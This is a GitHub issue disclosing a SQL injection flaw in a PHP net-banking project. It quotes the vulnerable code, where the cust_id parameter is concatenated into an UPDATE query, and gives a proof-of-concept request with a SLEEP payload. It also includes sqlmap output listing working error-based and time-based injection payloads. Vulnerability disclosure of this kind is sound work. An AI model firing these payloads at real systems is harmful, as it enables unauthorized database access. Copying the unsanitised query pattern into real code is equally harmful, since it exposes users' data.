

[New issue](#)[Jump to bottom](#)

Found a vulnerability #15

Open 0clickjacking0 opened this issue on Sep 5 · 0 comments

0clickjacking0 commented on Sep 5

Vulnerability file address

net-banking/edit_customer_action.php from line 16, The `$_GET['cust_id']` parameter is controllable, the parameter `cust_id` can be passed through `get`, and the `$_GET['cust_id']` is not protected from sql injection, line 59 `if (($conn->query($sql0) === TRUE)) { ?>` made a sql query, resulting in sql injection

```
.....
.....
.....
if (isset($_GET['cust_id'])) {
    $_SESSION['cust_id'] = $_GET['cust_id'];
}

$fname = mysqli_real_escape_string($conn, $_POST["fname"]);
$lname = mysqli_real_escape_string($conn, $_POST["lname"]);
$dob = mysqli_real_escape_string($conn, $_POST["dob"]);
$aadhar = mysqli_real_escape_string($conn, $_POST["aadhar"]);
$email = mysqli_real_escape_string($conn, $_POST["email"]);
$phno = mysqli_real_escape_string($conn, $_POST["phno"]);
$address = mysqli_real_escape_string($conn, $_POST["address"]);
$branch = mysqli_real_escape_string($conn, $_POST["branch"]);
$acno = mysqli_real_escape_string($conn, $_POST["acno"]);
$pin = mysqli_real_escape_string($conn, $_POST["pin"]);
$cus_uname = mysqli_real_escape_string($conn, $_POST["cus_uname"]);
$cus_pwd = mysqli_real_escape_string($conn, $_POST["cus_pwd"]);

$sql0 = "UPDATE customer SET first_name = '$fname',
                             last_name = '$lname',
                             dob = '$dob',
                             aadhar_no = '$aadhar',
                             email = '$email',
                             phone_no = '$phno',
                             address = '$address',
                             branch = '$branch',
                             account_no = '$acno',
                             pin = '$pin',
```

```

        uname = '$cus_uname',
        pwd = '$cus_pwd'
WHERE cust_id=".$_SESSION['cust_id'];

.....
.....
.....
if (($conn->query($sql0) === TRUE)) { ?>
.....
.....
.....

```

POC

```

GET /net-banking/edit_customer_action.php?cust_id=666 AND (SELECT 5721 FROM (SELECT(SLEEP(5)))pcwq) H
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

```

Attack results pictures

```

[10:22:50] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'
[10:22:51] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns'
[10:22:51] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns'
[10:22:52] [INFO] testing 'Generic UNION query (random number) - 41 to 60 columns'
[10:22:52] [INFO] testing 'Generic UNION query (NULL) - 61 to 80 columns'
[10:22:53] [INFO] testing 'Generic UNION query (random number) - 61 to 80 columns'
[10:22:53] [INFO] testing 'Generic UNION query (NULL) - 81 to 100 columns'
[10:22:54] [INFO] testing 'Generic UNION query (random number) - 81 to 100 columns'
[10:22:55] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[10:22:55] [INFO] target URL appears to be UNION injectable with 17 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[10:24:22] [WARNING] turning off pre-connect mechanism because of connection reset(s)
[10:24:22] [WARNING] there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests
[10:24:22] [CRITICAL] connection reset to the target URL. sqlmap is going to retry the request(s)
[10:24:24] [INFO] testing 'MySQL UNION query (82) - 21 to 40 columns'
[10:24:24] [INFO] testing 'MySQL UNION query (82) - 41 to 60 columns'
[10:24:25] [INFO] testing 'MySQL UNION query (82) - 61 to 80 columns'
[10:24:25] [INFO] testing 'MySQL UNION query (82) - 81 to 100 columns'
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 2051 HTTP(s) requests:
---
Parameter: #1* (URI)
  Type: error-based
  Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
  Payload: http://www.bank.net:80/net-banking/edit_customer_action.php?cust_id=666 AND GTID_SUBSET(CONCAT(0x716b6a7671,(SELECT (ELT(9115=9115,1))))),0x716b627071),9115)
  Type: time-based blind
  Title: MySQL >= 5.0.12 OR time-based blind (query SLEEP)
  Payload: http://www.bank.net:80/net-banking/edit_customer_action.php?cust_id=666 OR (SELECT 4211 FROM (SELECT(SLEEP(5)))ggXM)
---
[10:24:28] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.6.40, PHP, Nginx 1.21.2
back-end DBMS: MySQL >= 5.6
[10:24:28] [INFO] fetched data logged to text files under '/Users/xianyu123/.sqlmap/output/www.bank.net'

[*] ending @ 10:24:28 /2022-09-05/

```

xianyu123

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

